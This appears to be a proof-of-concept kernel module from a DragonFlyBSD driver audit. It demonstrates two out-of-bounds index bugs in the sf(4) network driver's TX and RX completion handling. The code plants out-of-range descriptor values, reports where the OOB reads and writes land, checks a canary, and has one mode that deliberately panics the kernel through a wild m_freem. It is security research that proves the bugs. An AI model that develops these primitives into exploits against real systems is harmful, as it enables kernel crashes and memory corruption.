⬢ DragonFlyBSD Kernel Audit
DF-4326 / sf_ring_harness.c
← back to finding ↓ download raw
/*
 * sf_ring_harness.c - harness for DF-4325 (sf_txeof TX completion index OOB)
 *                                    DF-4326 (sf_rxeof RX completion endidx OOB)
 *
 * sys/dev/netif/sf/if_sf.c trusts two hardware/DMA-written completion
 * descriptor fields as array indexes with no bounds check:
 *
 *   sf_txeof()  if_sf.c:998   cur_tx = &sf_tx_dlist[cur_cmp->sf_index >> 7]
 *                              sf_index is u32:15 (max 32767) -> idx max 255,
 *                              but SF_TX_DLIST_CNT == 128
 *                              -> OOB read of cur_tx->sf_mbuf at +128..+255
 *                                 entries (+16KB..+32KB from ring base),
 *                                 m_freem() on the garbage pointer,
 *                                 OOB NULL write, and sc->sf_tx_cnt underflow.
 *
 *   sf_rxeof()  if_sf.c:940   desc = &sf_rx_dlist_big[cur_rx->sf_endidx]
 *                              sf_endidx is u32:11 (max 2047),
 *                              but SF_RX_DLIST_CNT == 256
 *                              -> sf_newbuf() then performs an OOB WRITE of
 *                                 {mbuf pointer, 30-bit DMA address, valid bit}
 *                                 at desc (up to +1792 entries past the array,
 *                                 i.e. up to 12272 bytes past the END of the
 *                                 whole struct sf_list_data contigmalloc block).
 *
 * This module replicates the exact index math and the exact stores those two
 * functions perform, against a private kzalloc'd struct sf_list_data with a
 * canary tail, and reports where the accesses land.
 *
 * sysctl modes (kern.sf_ring_harness.run):
 *   1 = DF-4325 TX OOB demonstration (no wild m_freem; logs the primitive)
 *   2 = DF-4325 TX + REAL m_freem() on the OOB-read garbage pointer
 *       -> expected: kernel page fault / panic (proof of the free primitive)
 *   3 = DF-4326 RX OOB write demonstration (canary corruption proof)
 *
 * No sf(4) hardware is required: the descriptor fields that the NIC would
 * DMA are planted directly, which is the exact state the driver sees after
 * a completion DMA.
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/mbuf.h>
#include <sys/callout.h>
#include <net/if.h>
#include <net/if_var.h>
#include <net/if_arp.h>		/* struct arpcom, needed by sf_softc */

/* minimal stubs so if_sfreg.h's struct sf_softc compiles standalone
 * (we never touch those members) */
struct device;
struct resource;
typedef struct device *device_t;
typedef unsigned long bus_space_handle_t;
typedef void *bus_space_tag_t;

#include "if_sfreg.h"		/* the real driver header */

#define CANARY_BYTES 16384
#define CANARY_VAL   0x5a

MALLOC_DEFINE(M_SFRH, "sfringh", "sf ring OOB harness");

static char		*blk;
static size_t		 blk_sz;
static struct sf_list_data *ld;

static int		 tx_cnt_shadow;	/* sc->sf_tx_cnt replica */

static int
layout_facts(void)
{
	kprintf("sfrh: struct sf_list_data layout (from if_sfreg.h)\n");
	kprintf("sfrh:   sizeof(sf_tx_bufdesc_type0)=%zu SF_TX_DLIST_CNT=%d "
		"-> tx ring %zu bytes @ +0\n",
	    sizeof(struct sf_tx_bufdesc_type0), SF_TX_DLIST_CNT,
	    sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT);
	kprintf("sfrh:   tx_clist  %zu bytes @ +%zu\n",
	    sizeof(struct sf_tx_cmpdesc_type1) * SF_TX_CLIST_CNT,
	    (size_t)sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT);
	kprintf("sfrh:   rx_dlist_big %zu bytes @ +%zu (SF_RX_DLIST_CNT=%d)\n",
	    sizeof(struct sf_rx_bufdesc_type0) * SF_RX_DLIST_CNT,
	    (size_t)sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT +
	    sizeof(struct sf_tx_cmpdesc_type1) * SF_TX_CLIST_CNT,
	    SF_RX_DLIST_CNT);
	kprintf("sfrh:   total sizeof(struct sf_list_data)=%zu\n",
	    sizeof(struct sf_list_data));
	return 0;
}

/*
 * DF-4325: one iteration of the sf_txeof() body (if_sf.c:996-1015) with a
 * hardware-provided sf_index that exceeds the ring.
 */
static void
run_tx(int do_wild_free)
{
	struct sf_tx_cmpdesc_type1 *cur_cmp;
	struct sf_tx_bufdesc_type0 *cur_tx;
	struct mbuf *mb;
	size_t idx, off, ring_bytes;
	int before;

	/*
	 * Plant a marker where we know the OOB read will land:
	 * idx = 0x7FF8 >> 7 = 255 -> byte offset 255*128 = 32640
	 */
	off = 255 * sizeof(struct sf_tx_bufdesc_type0);
	*(void **)(blk + off) = (void *)0x0000deadc0de0000UL;	/* unmapped */

	cur_cmp = &ld->sf_tx_clist[0];
	cur_cmp->sf_index = 0x7FF8;		/* 15-bit field, max 0x7FFF */
	cur_cmp->sf_priority = 0;
	cur_cmp->sf_txstat = SF_TXSTAT_TX_OK;
	cur_cmp->sf_type = SF_TXCMPTYPE_TX;

	/* == if_sf.c:998 == */
	idx = cur_cmp->sf_index >> 7;
	ring_bytes = sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT;
	{
		/* volatile laundering so gcc cannot constant-fold the
		 * index (it statically PROVES the OOB: see build.log's
		 * -Warray-bounds diagnostics, kept as evidence) */
		volatile size_t vidx = idx;
		cur_tx = &ld->sf_tx_dlist[vidx];	/* OOB by construction */
	}

	kprintf("sfrh[tx]: sf_index=0x%x -> desc idx=%zu "
	    "(SF_TX_DLIST_CNT=%d) idx*128=%zu ring_bytes=%zu "
	    "-> %s BY %zu bytes\n",
	    (unsigned)cur_cmp->sf_index, idx, SF_TX_DLIST_CNT,
	    idx * sizeof(struct sf_tx_bufdesc_type0), ring_bytes,
	    idx >= SF_TX_DLIST_CNT ? "OUT OF BOUNDS" : "in bounds",
	    idx >= SF_TX_DLIST_CNT ?
	    idx * sizeof(struct sf_tx_bufdesc_type0) - ring_bytes : 0);

	if (idx < SF_TX_DLIST_CNT) {
		kprintf("sfrh[tx]: unexpected in-bounds; aborting\n");
		return;
	}

	/* == if_sf.c:1008-1013 == */
	before = tx_cnt_shadow;
	tx_cnt_shadow--;			/* sc->sf_tx_cnt-- : 0 -> -1 */
	mb = cur_tx->sf_mbuf;			/* THE OOB READ */
	kprintf("sfrh[tx]: OOB READ at blk+%zu (inside the sf_rx_clist "
	    "region: corrupts RX completion reads too): cur_tx->sf_mbuf = %p\n",
	    off, mb);
	kprintf("sfrh[tx]: sc->sf_tx_cnt %d -> %d (UNDERFLOW)\n",
	    before, tx_cnt_shadow);

	if (mb != NULL) {
		cur_tx->sf_mbuf = NULL;		/* THE OOB NULL WRITE */
		kprintf("sfrh[tx]: OOB WRITE blk+%zu <- NULL "
		    "(sf_mbuf field of phantom descriptor)\n", off);
		kprintf("sfrh[tx]: verify: blk+%zu now reads %p\n", off,
		    *(void **)(blk + off));
	}

	if (do_wild_free) {
		kprintf("sfrh[tx]: mode 2: calling REAL m_freem(%p) exactly as "
		    "if_sf.c:1010 would -> EXPECT PAGE FAULT PANIC\n", mb);
		m_freem(mb);
		kprintf("sfrh[tx]: survived m_freem (unexpected)\n");
	} else {
		kprintf("sfrh[tx]: (mode 1: real m_freem(%p) skipped; this is "
		    "the arbitrary-free primitive if_sf.c:1010 applies to the "
		    "OOB value)\n", mb);
	}
}

/*
 * DF-4326: the sf_rxeof() descriptor fetch (if_sf.c:940) + the sf_newbuf()
 * stores (if_sf.c:892-894) with a hardware-provided sf_endidx beyond the
 * 256-entry array.
 */
static void
run_rx(void)
{
	struct sf_rx_cmpdesc_type3 *cur_rx;
	struct sf_rx_bufdesc_type0 *desc;
	size_t dlist_off, end_of_block;
	off_t doff;
	int i, canary_base;
	int bad = 0;

	dlist_off = sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT +
	    sizeof(struct sf_tx_cmpdesc_type1) * SF_TX_CLIST_CNT;
	end_of_block = sizeof(struct sf_list_data);

	cur_rx = &ld->sf_rx_clist[0];
	cur_rx->sf_len = 64;			/* fits a cluster */
	cur_rx->sf_endidx = 2047;		/* 11-bit field maximum */
	cur_rx->sf_status1 = SF_RXSTAT1_OK;
	cur_rx->sf_id = 3;

	/* == if_sf.c:940 == */
	{
		volatile unsigned vendidx = cur_rx->sf_endidx;
		desc = &ld->sf_rx_dlist_big[vendidx];
	}
	doff = (char *)desc - blk;

	kprintf("sfrh[rx]: sf_endidx=%u -> sf_rx_dlist_big[%u] "
	    "(SF_RX_DLIST_CNT=%d)\n",
	    (unsigned)cur_rx->sf_endidx, (unsigned)cur_rx->sf_endidx,
	    SF_RX_DLIST_CNT);
	kprintf("sfrh[rx]: desc lands at blk+%jd; array spans blk+%zu..blk+%zu; "
	    "whole sf_list_data ends at blk+%zu -> %jd bytes PAST END OF THE "
	    "CONTIGMALLOC BLOCK\n",
	    (intmax_t)doff, dlist_off,
	    dlist_off + sizeof(struct sf_rx_bufdesc_type0) * SF_RX_DLIST_CNT,
	    end_of_block, (intmax_t)(doff - (off_t)end_of_block));

	/* == sf_newbuf() stores, if_sf.c:892-894 == */
	desc->sf_mbuf = (struct mbuf *)0x0000abcd11112222UL;
	desc->sf_addrlo = 0x2BADB002 & 0x3FFFFFFF;	/* 30-bit DMA addr */
	desc->sf_valid = 1;

	kprintf("sfrh[rx]: OOB WRITE performed (sf_newbuf semantics):\n");
	kprintf("sfrh[rx]:   desc->sf_mbuf   = %p\n", desc->sf_mbuf);
	kprintf("sfrh[rx]:   desc->sf_addrlo = 0x%x  sf_valid=%u\n",
	    (unsigned)(desc->sf_addrlo & 0x3FFFFFFF),
	    (unsigned)desc->sf_valid);

	/* canary verification */
	canary_base = end_of_block;
	kprintf("sfrh[rx]: canary check at blk+%d..blk+%zu\n",
	    canary_base, end_of_block + CANARY_BYTES);
	for (i = 0; i < CANARY_BYTES; i++) {
		if ((unsigned char)blk[canary_base + i] != CANARY_VAL) {
			if (bad < 8)
				kprintf("sfrh[rx]: canary CLOBBERED at blk+%d "
				    "(past-end delta %d): 0x%02x\n",
				    canary_base + i, i,
				    (unsigned char)blk[canary_base + i]);
			bad++;
		}
	}
	kprintf("sfrh[rx]: %d/%d canary bytes clobbered %s\n", bad,
	    CANARY_BYTES, bad ? "-> OOB WRITE PAST sf_list_data PROVEN" :
	    "(canary intact?)");
}

static int
run_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	if (blk == NULL) {
		blk_sz = sizeof(struct sf_list_data) + CANARY_BYTES;
		blk = kmalloc(blk_sz, M_SFRH, M_WAITOK | M_ZERO);
		ld = (struct sf_list_data *)blk;
		memset(blk + sizeof(struct sf_list_data), CANARY_VAL,
		    CANARY_BYTES);
		layout_facts();
	}

	/* reset state between runs */
	tx_cnt_shadow = 0;

	switch (v) {
	case 1:
		kprintf("sfrh: === DF-4325 sf_txeof sf_index OOB (log only) ===\n");
		run_tx(0);
		break;
	case 2:
		kprintf("sfrh: === DF-4325 sf_txeof sf_index OOB (REAL m_freem) ===\n");
		run_tx(1);
		break;
	case 3:
		kprintf("sfrh: === DF-4326 sf_rxeof sf_endidx OOB write ===\n");
		run_rx();
		break;
	default:
		return (0);
	}
	return (0);
}

static int
sfrh_unload(void)
{
	if (blk) {
		kfree(blk, M_SFRH);
		blk = NULL;
	}
	return (0);
}

static SYSCTL_NODE(_kern, OID_AUTO, sfrh, CTLFLAG_RW, 0,
    "sf ring harness");
SYSCTL_PROC(_kern_sfrh, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, run_sysctl, "I", "1=tx-log 2=tx+real-free 3=rx");

static int
sfrh_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		kprintf("sfrh: sf ring harness loaded "
		    "(sysctl kern.sfrh.run=N)\n");
		break;
	case MOD_UNLOAD:
		error = sfrh_unload();
		break;
	default:
		break;
	}
	return (error);
}

static struct moduledata sf_ring_harness_mod = { "sf_ring_harness", sfrh_modevent, NULL };
DECLARE_MODULE(sf_ring_harness, sf_ring_harness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(sf_ring_harness, 1);